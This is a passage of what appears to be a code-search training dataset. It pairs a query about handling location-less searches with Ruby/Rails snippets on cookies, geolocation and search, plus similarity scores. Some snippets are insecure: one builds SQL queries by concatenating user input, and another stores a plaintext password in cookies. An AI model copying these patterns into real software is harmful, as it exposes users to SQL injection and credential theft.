\n }\n end", "def fortune_cookie; end", "def save_location\n self.location = @location_cache if @location_cache || geo_location_changed?\n end", "def set_cookie_value\n cookie_value = User.using_client_shard(client: @client).get_cookie_value(@user.id, @user.password, @browser_user_agent)\n success_with_data({cookie_value: cookie_value, user_token_sale_state: @user.get_token_sale_state_page_name})\n end", "def set_cookie(cookie=nil)\n self.headers[\"Cookie\"] = cookie\n end", "def check_geo_location\n \tsession[:geo_location] ||= GeoKit::GeoLoc.new(:lat => 39.3597710000, :lng => -76.6716720000, :city => 'Baltimore')\n\tend", "def set_location_coordinates\n address = \"#{self.address.gsub('|', '+')}+\" +\n \", #{self.city}+\" +\n \", #{self.state unless self.state.nil?}+\" +\n \"#{self.country}\"\n address.gsub!(' ', '+')\n GetLocationCoordinatesJob.perform_later(self, address)\n end", "def set_geolocation\n @location = Geolocation.find(params[:id]) \n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def setUser\n cookies[:user_id]=current_user.id\n cookies[:is_tech]=current_user.tech\n end", "def set_cookie(response)\n response.set_cookie(Webmetrics::Config.cookie_name, {\n :value => self.id,\n :path => \"/\",\n :expires => Time.now+Webmetrics::Config.cookie_expiration\n })\n end", "def get_location\n\n if (cookies[:location] != nil)\n @location = Location.from_cookie(cookies[:location])\n elsif (logged_in? == true)\n @location = current_user.location\n else\n @location = nil\n end\n\n return @location\n end", "def cookie_jar=(cookie_jar); end", "def set_cookies_for_user(resource)\n cookies[:c_user] = {value: resource.email, expires: 2.year.from_now}\n end", "def home\n @lat = session[:lat];\n @lng = session[:lng];\nend", "def set(resource)\n @cookies.signed[cookie_name] = {value: [resource.id, Time.now.to_i]}.merge(cookie_options)\n end", "def store_location\n\t\tif request.get?\n\t\t\tcookies[:previous_url] = request.url\n\t\tend\n\tend", "def set_cookie\n self.current_user.remember\n cookies[:auth_token] = { \n :value => self.current_user.remember_token, \n :expires => self.current_user.remember_token_expires_at }\n end", "def cookies() @_cookies ||= ::Merb::Cookies.new(request.cookies, @_headers) end", "def set_cookie(response)\n\t\ttest_cookie = response.get_fields('set-cookie')\n\n\t\tif @cookie_array.include? test_cookie\n\t\t\t@cookies\n\t\telse\n\t\t\t@cookie_array << test_cookie\n \t\t\t@cookies = @cookie_array.join('; ')\n \t\tend\n\t\t#@cookies = response.get_fields('set-cookie')\n\tend", "def set_cookie\n puts \"hello\"\n # puts @order.as_json\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n puts cookies[:name] = current_admin.name\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n end", "def create\n super\n location = request.location\n @user.latitude = location.latitude\n @user.longitude = location.longitude\n @user.save\n end", "def add_cookies!(request)\n request['Cookie'] = @cookies.collect{|k, v| \"#{k}=#{v}\"}.join(\", \")\n end", "def set_cookie(cookie, uri = nil)\n cookie_jar.merge(cookie, uri)\n end", "def set_timezone(force = false)\n if self.current_sign_in_ip && (force || self.time_zone.blank?)\n coordinates = Geocoder.search(self.current_sign_in_ip).first.coordinates\n timezone = Timezone::Zone.new(latlon: coordinates) unless [0.0, 0.0]\n self.update_attribute(:time_zone, timezone) if timezone\n end\n end", "def refresh_credentials(cookies)\n cookies['dc_logged_in'] = {:value => 'true', :expires => 1.month.from_now, :httponly => true}\n end", "def set_cookie(email=nil, nav=false)\n if nav\n cookies[\"bunch__nav\"] = {\n value: \"open\", \n expires: 365.days.from_now\n }\n end\n end", "def cookie\n self[HttpClient::SET_COOKIE]\n end", "def user_location(user)\n geo = user.geolocation\n geo.latitude = 32.7157\n geo.longitude = -117.1611\n geo.fetch_address\n geo.save\n end", "def set_cookies(response)\n cookie_str = response.header['set-cookie']\n return if cookie_str.nil?\n\n fields = cookie_str.split(\"; \").inject({}) { |h, field|\n key, value = field.split(\"=\")\n h[key] = value\n\n h\n }\n\n # This is obviously not a generalized cookie implementation. Heh.\n fields.delete('path')\n @cookies = fields\n end", "def add_cookies(response)\n return unless response.key?('set-cookie')\n response.get_fields('set-cookie').each do |cookie|\n (key, val) = cookie.split('; ')[0].split('=', 2)\n cookies[key] = val\n end\n end", "def save_cookie(requested_lang)\n cookies[:lang] = {\n :value => requested_lang,\n :expires => 1.month.from_now,\n :path => root_path\n }\n end", "def set_location\n @location = \"Minneapolis, MN\"\n end", "def set_login_cookie(crawler_name=nil, crawler_password=nil, ip=nil, date=nil)\n crawler_name ||= @crawler_name\n crawler_password ||= @crawler_password\n ip ||= \"127.0.0.1\"\n date ||= 2.days.from_now\n\n cookie_jar = ActionDispatch::Request.new(Rails.application.env_config.deep_dup).cookie_jar\n cookie_jar.signed[AdsenseCrawlerForPrivate.cookie_name] =\n AdsenseCrawlerForPrivate.cookie_str(crawler_name, crawler_password, date, ip)\n\n cookies[AdsenseCrawlerForPrivate.cookie_name] = cookie_jar[AdsenseCrawlerForPrivate.cookie_name]\n end", "def create\n\n # @location = session[:location]\n\n #jesli nie ma powiazanego obiektu firm, to przekaz do firms\n # if @firm.nil?\n # redirect_to firms_path\n # else\n #jesli uzytkonik ma w sesji ciastko firm ale jest niezalogowany przekieruj do logowanie\n # @location = @firm.locations.build(params[:location]) if signed_in?\n\n #potestowac gdy ktos podmienia sobie cookie i robi put request to update\n @firm = session[:firm]\n # @location = Location.new(params[:location]) if signed_in?\n @location = @firm.locations.build(params[:location]) if signed_in?\n\n #jesli ktos podmieni cookies musimy wybierac tylko z firm zalogowanego usera\n # @location = @firm.locations.build(params[:location]) if signed_in?\n # @location = @firm.locations.build(params[:location]) if signed_in?\n\n respond_to do |format|\n if @location.save\n\n #przypisanie adresu do firmy i usuniecie ciastka\n @location.firm.current_address = @location\n @location.firm.save!\n session.delete(:firm)\n\n\n # format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.html { redirect_to firms_path, notice: 'Adres pomyślnie utworzony.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def set_city\n end", "def save_location\n session[:location] ||= params[:search_location]\n end", "def set_location\n LocationHelper.browse_location(params['select_location'], current_user)\n end", "def set_timezone\n default_timezone = Time.zone\n client_timezone = cookies[:timezone]\n # puts \"Na to to coooookie\"\n # puts client_timezone\n Time.zone = client_timezone if client_timezone.present?\n yield\n ensure\n Time.zone = default_timezone\n end", "def set_location\n location = flickr.places.findByLatLon(lat: lat, lon: lon)\n location.size >= 1 ? @location = location.first['name'] : @location = \"Unidentifiable location\"\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def set_cookie(cookie_name, value, expires)\n cookies[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: GlobalConstant::Base.cookie_domain,\n http_only: true,\n secure: Rails.env.production?,\n same_site: :strict\n }\n end", "def set_geolocation_box\n @geolocation_box = GeolocationBox.find(params[:id])\n end", "def create\n @city = City.new(city_params)\n @city.city_hash = generate_unique_hash\n cookies[:city_hash] = @city.city_hash\n cookies[:city_hash] = { :value => @city.city_hash, :expires => 168.hour.from_now }\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_geo\n @geo = Geo.find(params[:id])\n end", "def store_location\n session[:forwarding_url] = request.url if request.get? # only for get requests. A user could technically delete their cookie then submit a form\n end", "def set_WithCookie(value)\n set_input(\"WithCookie\", value)\n end", "def set_location\n @location = current_user.locations.find(params[:id])\n end", "def cookie\n { :value => Crypt.encrypt(cookie_value), :expires => 1.year.from_now }\n end", "def set_cookie name, value=nil, opts={}\n if Hash === value\n opts = value\n else\n opts[:value] = value\n end\n\n @response.set_cookie name, opts\n end", "def cookies(cookies); end", "def set_cookie options\n options ||= {}\n \n @header[\"Set-Cookie\"] = options.collect{|key,value|\"#{key}=#{value}\"}.join(\"; \")\n end", "def new\n\t\tcookies[:sign_up] = { value: \"XJ-122\", expires: 1.hour.from_now }\n\t\tsuper\n\tend", "def cookie\n @cookie ||= Coca::AuthCookie.new(cookies, scope)\n end", "def set_cookie!\n cookies[:user_session] = {\n :value => token,\n :secure => controller.request.ssl?,\n :httponly => true,\n :expires => self.expires_at\n }\n end", "def set_cookie(name, value)\n @cookies[\"flexi_#{@id}_#{name}\"] = value\n return value\n end", "def cookie_jar= cookie_jar\n @agent.cookie_jar = cookie_jar\n end", "def set_cookie(cookie_name, value, expires, encrypt=false)\n cookie_obj = (encrypt == true) ? cookies.encrypted : cookies\n cookie_obj[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: request.host,\n http_only: true,\n secure: !(Rails.env.development? || Rails.env.staging?),\n same_site: :strict\n }\n end", "def manually_set_cookie(value, expire_in)\n expire_date = expire_in.from_now.gmtime.strftime('%a, %d %b %Y %H:%M:%S GMT')\n response['Set-Cookie'] =\n \"cookiePermissions=#{value}; Expires=#{expire_date}; Path=/; SameSite=Lax\"\n end", "def set_location\n\t current_user.update_location(params[:longitude], params[:latitude])\n respond_to do |format|\n format.js {render :nothing => true }\n end\n end", "def set_from_user_id\n cookies[:from_user] = params[:yaoqingid] if params[:yaoqingid].present?\n end", "def set_geo_datum\n @geo_datum = GeoDatum.find(params[:id])\n end", "def set_acting_user(email)\n `$.cookie('acting_user', #{email}, { path: '/' })`\n end", "def save_user_info\n if current_user\n cookies[:provider] = current_user.provider\n cookies[:current_institution] = current_institution.code.downcase\n end\n end", "def set_cookies\n session_key = request.session_options[:id]\n\n if(!session_key.nil?)\n # Set the cookie the standard way (Set-Cookie)\n response.set_cookie(MOBILE_KEY, session_key)\n # Set the cookie the way the Android client expects it (set-cookie)\n headers[\"set-cookie\"] = headers[\"Set-Cookie\"]\n end\n end", "def after_save\n cookies['global_properties_for_user'] = nil\n end", "def set_locale\n if cookies[:locale]\n # si hay una cookie en el navegador\n # traela y haz locale igual a esa variable\n locale = cookies[:locale]\n else\n # si no hay cookie en el navegador busca\n # en la respuesta del navegador el lenguaje\n # por defecto\n locale = extract_locale_from_accept_language_header\n end\n # Toma la variable locale de arriba y la vuelve\n # un simbolo\n I18n.locale = I18n.available_locales.include?(locale.strip.to_sym) ? locale.strip.to_sym : I18n.default_locale\n # crea una cookie con el simbolo\n cookies[:locale] = locale\n end", "def set_timezone\n offset, lookup_type = nil, nil\n if geonames_available?\n lookup_type = 'geoname'\n latlon = [params[:latitude].to_f, params[:longitude].to_f]\n timezone = Timezone::Zone.new latlon: latlon\n offset = timezone.utc_offset / (60 * 60)\n end\n\n if offset.nil?\n if params[:offset]\n lookup_type = 'javascript'\n offset = params[:offset]\n # Have to flip the sign because getTimezoneOffset is backward\n offset = -offset.to_i\n else\n lookup_type = 'default'\n current_offset = current_user.preferences[:timezone_offset]\n offset = current_offset ? current_offset : 0\n end\n end\n\n current_user.preferences[:timezone_offset] = offset\n current_user.save\n\n respond_to do |format|\n format.html { render json: { offset: offset, lookup: lookup_type } }\n end\n end", "def set_cookie(name, value, options = {})\n @_options_lookup[name] = options\n self[name] = value\n end", "def set_gps_location!\n\n end", "def set_userid(id)\n response.set_cookie('userid', id)\n end", "def set_api_cookie!\n return unless @session_object\n\n session.delete :value\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def add_token_to_cookie(cookies)\n token = SecureRandom.urlsafe_base64()\n @user.update(token: token)\n cookies['token'] = token\n create_return_object()\n end", "def serialize_into_cookie(record); end", "def user_loc=(loc)\n self['user_loc'] = loc\n end", "def create_cookies(username, password)\r\n\t\tcookies.signed[:username] = { \r\n\t \t\tvalue: username,\r\n\t \t\texpires: 1.weeks.from_now }\r\n\t \tcookies.signed[:pwd] = {\r\n\t \t\tvalue: password,\r\n\t \t\texpires: 1.weeks.from_now }\r\n\tend", "def set_userlocation\n @userlocation = Userlocation.find(params[:id])\n end", "def store_current_location\n store_location_for(:user, request.url) if request.get? \n end", "def remember_customer\n if cookies[AppConfig['reference_cookie_name']].nil?\n @affiliate = Affiliate.find_by_slug(params[:slug])\n unless @affiliate.nil?\n @reference = Reference.create(:affiliate_id => @affiliate.id)\n cookies[AppConfig['reference_cookie_name']] = {\n :value => @reference.cookie_token,\n :expires => AppConfig['reference_registration_span'].to_i.days.from_now\n }\n end\n end\n\n redirect_to :action => :pricing\n end", "def store_current_location\n store_location_for(:user, request.url) if request.get?\n end", "def store_location!; end" ]
[ "0.7550488", "0.7157694", "0.6689789", "0.65365225", "0.6448468", "0.6251704", "0.6215958", "0.6166221", "0.606778", "0.6041171", "0.60210645", "0.60034806", "0.59778637", "0.5942829", "0.5873466", "0.5872391", "0.58530974", "0.5829178", "0.5827184", "0.5827184", "0.5820643", "0.5800765", "0.57950133", "0.5774161", "0.576489", "0.57646286", "0.57453614", "0.57301974", "0.5728828", "0.5723473", "0.57076687", "0.5706221", "0.57020116", "0.56923956", "0.56758744", "0.56709146", "0.5669166", "0.56665003", "0.5652234", "0.5649893", "0.56385505", "0.562994", "0.5619508", "0.5617443", "0.5594417", "0.5584194", "0.55669576", "0.55669576", "0.55669576", "0.55669576", "0.55669576", "0.55669576", "0.55669576", "0.5560217", "0.55594873", "0.5547983", "0.5543003", "0.5531336", "0.5522027", "0.5522027", "0.5505632", "0.5495039", "0.5493889", "0.54918027", "0.5488903", "0.54862654", "0.5483373", "0.5472204", "0.54710835", "0.5469783", "0.54691815", "0.54651016", "0.5464709", "0.54540986", "0.54539615", "0.5449026", "0.54458666", "0.54394114", "0.543688", "0.5436821", "0.54294753", "0.5427566", "0.5427437", "0.5426536", "0.5425909", "0.54164994", "0.5414591", "0.54131776", "0.53971976", "0.53901356", "0.53771424", "0.53714734", "0.53693086", "0.5366517", "0.53636307", "0.5362682", "0.53552765", "0.53485465", "0.5342247", "0.5339125" ]
0.66431713
3
prepare an UpdateRequest that will be displayed if the user entered a search that has no nearby_hits
def prepare_location_unavailable @update_request = UpdateRequest.new( search_location: @search_form.search_location # TODO: set by JS ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def make_search_data(cond_wheather)\n @search_query = \"\"\n\n\n end", "def update_search\n respond_to do |format|\n #byebug\n if params[:q] == nil\n unless search_params.nil?\n #search_params.each do |key, param|\n # search_params[key] = nil\n #end\n search_params[params[:update_filter]] = nil\n session[:search_key][params[:update_filter]] = nil\n end\n #session.delete('search_key')\n else\n if session[:search_key].nil?\n session[:search_key] = {}\n end\n session[:search_key][params[:update_filter]] = params[:q][params[:update_filter]]\n end\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "def update!(**args)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update!(**args)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def filter_long_or_empty\n if params[:q].split.size > 10 || params[:q].blank?\n @query = params[:q]\n @results = []\n render and return\n end\n end", "def update!(**args)\n @allow_broadening = args[:allow_broadening] if args.key?(:allow_broadening)\n @filters = args[:filters] if args.key?(:filters)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @search_types = args[:search_types] if args.key?(:search_types)\n end", "def update!(**args)\n @allow_broadening = args[:allow_broadening] if args.key?(:allow_broadening)\n @filters = args[:filters] if args.key?(:filters)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @search_types = args[:search_types] if args.key?(:search_types)\n end", "def search\n if request.xhr?\n ## Instantiates a new Query object\n query = Query.new(params[:query])\n \n ## Workaround\n # When creating a new Query object by passing the ajax parameters, the\n # empty parameters should be considered nil\n query.from_user = nil if query.from_user == ''\n query.lang = nil if query.lang == ''\n query.q = nil if query.q == ''\n \n #puts query.inspect\n \n ## Query object validation\n if not query.valid?\n respond_to do |format|\n format.html\n format.js do\n render :update do |page|\n flash.now[:error] = query.errors.full_messages\n page.replace_html('results', :partial => 'error')\n end\n end\n end\n \n ## Verify Query object existance\n else\n sql = \"select * from queries where \"\n\n if not query.q.nil? and not query.q.empty?\n sql << \"q='\" + query.q + \"' \"\n else\n sql << \"q is null \"\n end\n \n if not query.from_user.nil? and not query.from_user.empty?\n sql << \"and from_user='\" + query.from_user + \"' \"\n else\n sql << \"and from_user is null \"\n end\n \n if not query.lang.nil? and not query.lang.empty?\n sql << \"and lang='\" + query.lang + \"' \"\n else\n sql << \"and lang is null \"\n end\n \n sql << \"and rpp='\" + query.rpp.to_s + \"' \" \n \n if not query.since.nil?\n sql << \"and since=STR_TO_DATE('\" + (\"%d,%d,%d\" % [query.since.day, query.since.month, query.since.year]) + \"', '%d,%m,%Y') \"\n else\n sql << \"and since is null \"\n end\n \n sql << \"LIMIT 1;\"\n \n ## If the Query object already exists in the table, update, otherwise\n # save a new entry\n existing_query = Query.find_by_sql(sql)[0]\n if not existing_query.nil?\n query = existing_query\n end\n \n begin\n @tweets = search_twitter(query)\n #puts @tweets.inspect\n \n ## Workaround: as the 'updated_at' is not being automatically\n # updated. Update forced.\n query.updated_at = Time.now\n query.save.to_s\n \n @queries = Query.find(:all, :order => 'updated_at DESC', :limit => 7)\n respond_to do |format|\n format.html\n format.js do\n render :update do |page|\n flash.now[:notice] = \"no tweets found!\" if @tweets.empty?\n page.replace_html('results', :partial => 'tweets')\n page.replace_html('sidebar_contents', :partial => 'latest_queries')\n if (not params[:from_search].nil?) and (params[:from_search].include?(\"latest\"))\n @query = query#Query.new\n page.replace_html('search', :partial => 'advanced_search')\n end\n end\n end\n end\n rescue\n respond_to do |format|\n format.html\n format.js do\n render :update do |page|\n @tweets = []\n @queries = Query.find(:all, :order => 'updated_at DESC', :limit => 7)\n flash.now[:error] = \"query failed, try again later! :(\"\n page.replace_html('results', :partial => 'tweets')\n page.replace_html('sidebar_contents', :partial => 'latest_queries')\n end\n end\n end\n end\n \n end\n end\n end", "def create_search_if_required\n @search ||= Search.find_or_create_by(query: query)\n end", "def update!(**args)\n @query_suggestions = args[:query_suggestions] if args.key?(:query_suggestions)\n @tail_match_triggered = args[:tail_match_triggered] if args.key?(:tail_match_triggered)\n end", "def update!(**args)\n @location = args[:location] if args.key?(:location)\n @query = args[:query] if args.key?(:query)\n @result_count = args[:result_count] if args.key?(:result_count)\n end", "def update!(**args)\n @block_non_v2_search_backends = args[:block_non_v2_search_backends] if args.key?(:block_non_v2_search_backends)\n @ignore_query_understanding = args[:ignore_query_understanding] if args.key?(:ignore_query_understanding)\n end", "def update!(**args)\n @suggest_results = args[:suggest_results] if args.key?(:suggest_results)\n end", "def update!(**args)\n @suggest_results = args[:suggest_results] if args.key?(:suggest_results)\n end", "def modify_search_query\n query_data = params['q'] && params['q'][Garage::SearchPredicate]\n if query_data.present?\n params['q'][Garage::SearchPredicate] = query_data.split(' ')\n end\n end", "def prepare_search query\n receive!(filter: event_filter(query))\n self\n end", "def advanced_search # :nologin: :norobots:\n if params[:name] || params[:location] || params[:user] || params[:content]\n search = {}\n search[:name] = params[:name] unless params[:name].blank?\n search[:location] = params[:location] unless params[:location].blank?\n search[:user] = params[:user] unless params[:user].blank?\n search[:content] = params[:content] unless params[:content].blank?\n search[:search_location_notes] = !params[:search_location_notes].blank?\n query = create_query(:Observation, :advanced_search, search)\n else\n query = find_query(:Observation)\n end\n show_selected_observations(query)\n rescue => err\n flash_error(err.to_s) unless err.blank?\n redirect_to(controller: \"observer\", action: \"advanced_search_form\")\n end", "def index \n unless(params[:search==nil]) \n @requests = Request.search(params[:search]) \n end \n end", "def index\n if params[:search].present? and !params[:search].empty?\n @search_location = params[:search]\n @boats = Boat.complete.near(search_params, 20, unit: :km, order: 'distance').select(&:can_be_published?)\n @search_results_count = @boats.size # count doesn't work with near\n if @boats.empty?\n @boats = Boat.complete.near(search_params, 99999, unit: :km, order: 'distance').select(&:can_be_published?)\n @boats = Boat.all if @boats.empty?\n end\n else\n @boats = Boat.complete.all.select(&:can_be_published?)\n end\n end", "def live_search\n # @campaigns = Campaign.find_latest params[:textfield]\n @campaigns = Campaign.contains(params[:textfield])\n render :layout => false\n end", "def update!(**args)\n @has_more_results = args[:has_more_results] if args.key?(:has_more_results)\n @result_count_estimate = args[:result_count_estimate] if args.key?(:result_count_estimate)\n @result_count_exact = args[:result_count_exact] if args.key?(:result_count_exact)\n @source = args[:source] if args.key?(:source)\n end", "def update!(**args)\n @has_more_results = args[:has_more_results] if args.key?(:has_more_results)\n @result_count_estimate = args[:result_count_estimate] if args.key?(:result_count_estimate)\n @result_count_exact = args[:result_count_exact] if args.key?(:result_count_exact)\n @source = args[:source] if args.key?(:source)\n end", "def index\n search = params[:term].present? ? params[:term] : nil\n @offers = if search\n Offer.search(search, where: { user_id: { not: current_user.id }})\n else\n Offer.all\n end\n @request = Request.new\n @ver_oferta_todas = Offer.where.not(:user_id => current_user.id)\n end", "def query_param\n return unless search_query\n \"search=#{search_query}&phrase=true\"\n end", "def set_search_condition\n @search_condition = SearchConditionService.detail(current_user.id, params[:view_number])\n routing_error if @search_condition.blank?\n end", "def search\n #begin\n page = params[:page].present? ? params[:page].to_i : 1\n page = 1 if page <= 0\n query = params[:query]\n @unclean_query = query.dup\n\n # return error message\n if @unclean_query.present? && (@unclean_query.length < 3 || @unclean_query.length > 30)\n if @unclean_query.length < 3\n gon.searchErrorMessage = I18n.t(\"views.shared.search_errors.too_short\")\n else\n gon.searchErrorMessage = I18n.t(\"views.shared.search_errors.too_long\")\n end\n else\n # Finding yards in which current employee has access\n employee_yard_access = current_employee.yards.pluck(:id)\n employee_country = current_employee.present? ? current_employee.operating_country : nil\n\n # .where(\"yards.id in (?)\", employee_yard_access)\n @vehicles = Vehicle.includes([:seller, :facility, :vehicle_type, {model: :make}]).search(query, page, {yard_access: employee_yard_access, \n country_id: employee_country.try(:id)}, current_role_id)\n if @vehicles.empty?\n gon.searchResultMessage = I18n.t(\"controllers.vehicle.search.no_results\")\n else\n gon.searchResultMessage = I18n.t(\"controllers.vehicle.search.results\")\n end\n gon.pagination = { current_page: @vehicles.current_page,\n default_per_page: Kaminari.config.default_per_page,\n per_page: @vehicles.size,\n total_pages: @vehicles.total_pages,\n total_count: @vehicles.total_count }\n\n gon.vehicles = @vehicles.map(&:search_results) || [] \n gon.sortOptionAscending = Vehicle::SORT_ASCENDING\n gon.sortOptionDescending = Vehicle::SORT_DESCENDING\n gon.httpSlug = \"/search\" \n end\n\n gon.queryString = @unclean_query\n gon.parameters = { page: page,\n query: @unclean_query}\n \n respond_to do |format|\n format.html\n format.json { render :json => { vehicles: gon.vehicles, \n parameters: gon.parameters, \n pagination: gon.pagination } }\n end\n \n end", "def update!(**args)\n @query = args[:query] if args.key?(:query)\n end", "def update!(**args)\n @query = args[:query] if args.key?(:query)\n end", "def setup_search_options\n @original_search_parameter = params[:search]\n params[:search] ||= \"\"\n params.keys.each do |param|\n if param =~ /(\\w+)_id$/\n unless params[param].blank?\n query = \"#{$1} = #{params[param]}\"\n params[:search] += query unless params[:search].include? query\n end\n end\n end\n end", "def new_search\n\t\tpos = origin_position(request.remote_ip)\n\t\ts = Search.new\n\t\ts.query = query_param\n\t\ts.longitude = pos[:longitude]\n\t\ts.latitude = pos[:latitude]\n\t\ts.locale = I18n.locale.to_s\n\t\ts.categories = category_param.sort.join('|')\n\t\ts.sources = source_param.sort.join('|')\n\t\ts.page = request.referer || \"\"\n\t\ts.user = current_user if user_signed_in?\n\t\ts.save if s.query.present?\n\t\ts\n\tend", "def query\n sanitize search_params['query']\n end", "def update!(**args)\n @people_suggestion = args[:people_suggestion] if args.key?(:people_suggestion)\n @query_suggestion = args[:query_suggestion] if args.key?(:query_suggestion)\n @source = args[:source] if args.key?(:source)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update!(**args)\n @people_suggestion = args[:people_suggestion] if args.key?(:people_suggestion)\n @query_suggestion = args[:query_suggestion] if args.key?(:query_suggestion)\n @source = args[:source] if args.key?(:source)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update!(**args)\n @search_text = args[:search_text] if args.key?(:search_text)\n end", "def update!(**args)\n @search_text = args[:search_text] if args.key?(:search_text)\n end", "def update!(**args)\n @disable_relevance_thresholding = args[:disable_relevance_thresholding] if args.key?(:disable_relevance_thresholding)\n @enable_broadening = args[:enable_broadening] if args.key?(:enable_broadening)\n @enable_precise_result_size = args[:enable_precise_result_size] if args.key?(:enable_precise_result_size)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_facets = args[:histogram_facets] if args.key?(:histogram_facets)\n @job_view = args[:job_view] if args.key?(:job_view)\n @mode = args[:mode] if args.key?(:mode)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @sort_by = args[:sort_by] if args.key?(:sort_by)\n end", "def update!(**args)\n @disable_relevance_thresholding = args[:disable_relevance_thresholding] if args.key?(:disable_relevance_thresholding)\n @enable_broadening = args[:enable_broadening] if args.key?(:enable_broadening)\n @enable_precise_result_size = args[:enable_precise_result_size] if args.key?(:enable_precise_result_size)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_facets = args[:histogram_facets] if args.key?(:histogram_facets)\n @job_view = args[:job_view] if args.key?(:job_view)\n @mode = args[:mode] if args.key?(:mode)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @sort_by = args[:sort_by] if args.key?(:sort_by)\n end", "def update!(**args)\n @num_results = args[:num_results] if args.key?(:num_results)\n @num_suggestions = args[:num_suggestions] if args.key?(:num_suggestions)\n end", "def update!(**args)\n @num_results = args[:num_results] if args.key?(:num_results)\n @num_suggestions = args[:num_suggestions] if args.key?(:num_suggestions)\n end", "def nearby_search\n messages = []\n mutual_communities_ids = []\n undercover_messages = []\n current_ids = []\n current_ids = params[:current_ids] if params[:current_ids].present?\n \n # network = Network.find_by(post_code: params[:post_code])\n\n messages = Undercover::CheckNear.new(\n params[:post_code],\n params[:lng],\n params[:lat],\n current_user,\n messages\n ).perform\n\n message_ids = messages.map(&:id)\n\n # If user is connected then show mutual public and private communities but avoid showing semi public communities\n # As it can directly accessible though it is private and without password\n # If user not connected then show mutual public communities.\n if params[:with_mutual_connected_communities] && params[:with_mutual_connected_communities] == 'true'\n # find the connected users of community\n community = Message.find(params[:message_id])\n connected_user_ids = community.room.rooms_users.map(&:user_id)\n mutual_rooms_ids = RoomsUser.where(user_id: connected_user_ids).map(&:room_id)\n\n room_message_ids = Room.where(id: mutual_rooms_ids).map(&:message_id)\n if message_ids.count > 0\n if params[:is_connected] == 'true'\n # get public, private (avoid semi public) communities of connected users + get nearby all public and private communities\n mutual_communities = Message.by_messageable_type('Network')\n .by_ids(room_message_ids)\n .by_not_deleted\n .where(\"message_type is null or message_type = 'CUSTOM_LOCATION' or message_type = 'NONCUSTOM_LOCATION'\")\n .where.not('(public = false and locked = false)')\n\n mutual_communities_ids = mutual_communities.map(&:id)\n\n message_ids = messages.map(&:id)\n message_ids = message_ids + mutual_communities_ids\n else\n # get public (avoid semi public) communities of connected users + get nearby public communities\n mutual_communities = Message.by_messageable_type('Network')\n .by_ids(room_message_ids)\n .by_not_deleted\n .where(\"message_type is null or message_type = 'CUSTOM_LOCATION' or message_type = 'NONCUSTOM_LOCATION'\")\n .where('public = true')\n\n mutual_communities_ids = mutual_communities.map(&:id)\n\n nearby_public_messages = Message.by_ids(message_ids)\n .where.not('(public = false)')\n\n message_ids = nearby_public_messages.map(&:id)\n message_ids = message_ids + mutual_communities_ids\n end\n end\n end\n\n message_ids = message_ids.uniq\n\n if params[:message_type] && params[:message_type] != ''\n undercover_messages =\n Message.by_ids(message_ids)\n .by_not_deleted\n .without_blacklist(current_user)\n .without_deleted(current_user)\n .where(messageable_type: 'Network')\n .where(message_type: params[:message_type])\n .where.not('(public = false and locked = false)')\n .sort_by_points(params[:limit], params[:offset])\n else\n undercover_messages =\n Message.by_ids(message_ids)\n .by_not_deleted\n .without_blacklist(current_user)\n .without_deleted(current_user)\n .where(messageable_type: 'Network')\n .where.not('(public = false and locked = false)')\n .sort_by_points(params[:limit], params[:offset])\n end\n\n undercover_messages.each { |message| message.current_user = current_user }\n\n render json: {\n messages: undercover_messages.as_json(\n methods: %i[\n avatar_url image_urls video_urls like_by_user legendary_by_user user is_synced\n text_with_links post_url expire_at has_expired is_connected locked_by_user is_followed line_locked_by_user\n ]\n )\n }\n end", "def refine_search # :nologin:\n # Create a bogus object with all the parameters used in the form.\n @values = Wrapper.new(params[:values] || {})\n @first_time = params[:values].blank?\n @goto_index = true if params[:commit] == :refine_search_goto_index.l\n @errors = []\n\n # Query has expired!\n if (@query = find_query)\n # Need to know about change to basic flavor immediately.\n if @first_time || @values.model_flavor.blank?\n query2 = @query\n else\n model2, flavor2 = @values.model_flavor.to_s.split(\" \", 2)\n # The following line was:\n #\n # query2 = Query.template(model2.camelize, flavor2) rescue @query\n #\n # However, I can't find any definition of Query.template and\n # the tests don't exercise this path so I can't tell if this\n # real or if it just always returns @query.\n query2 = @query\n end\n model2 = query2.model_symbol\n flavor2 = query2.flavor\n\n # Get Array of parameters we can play with.\n @fields 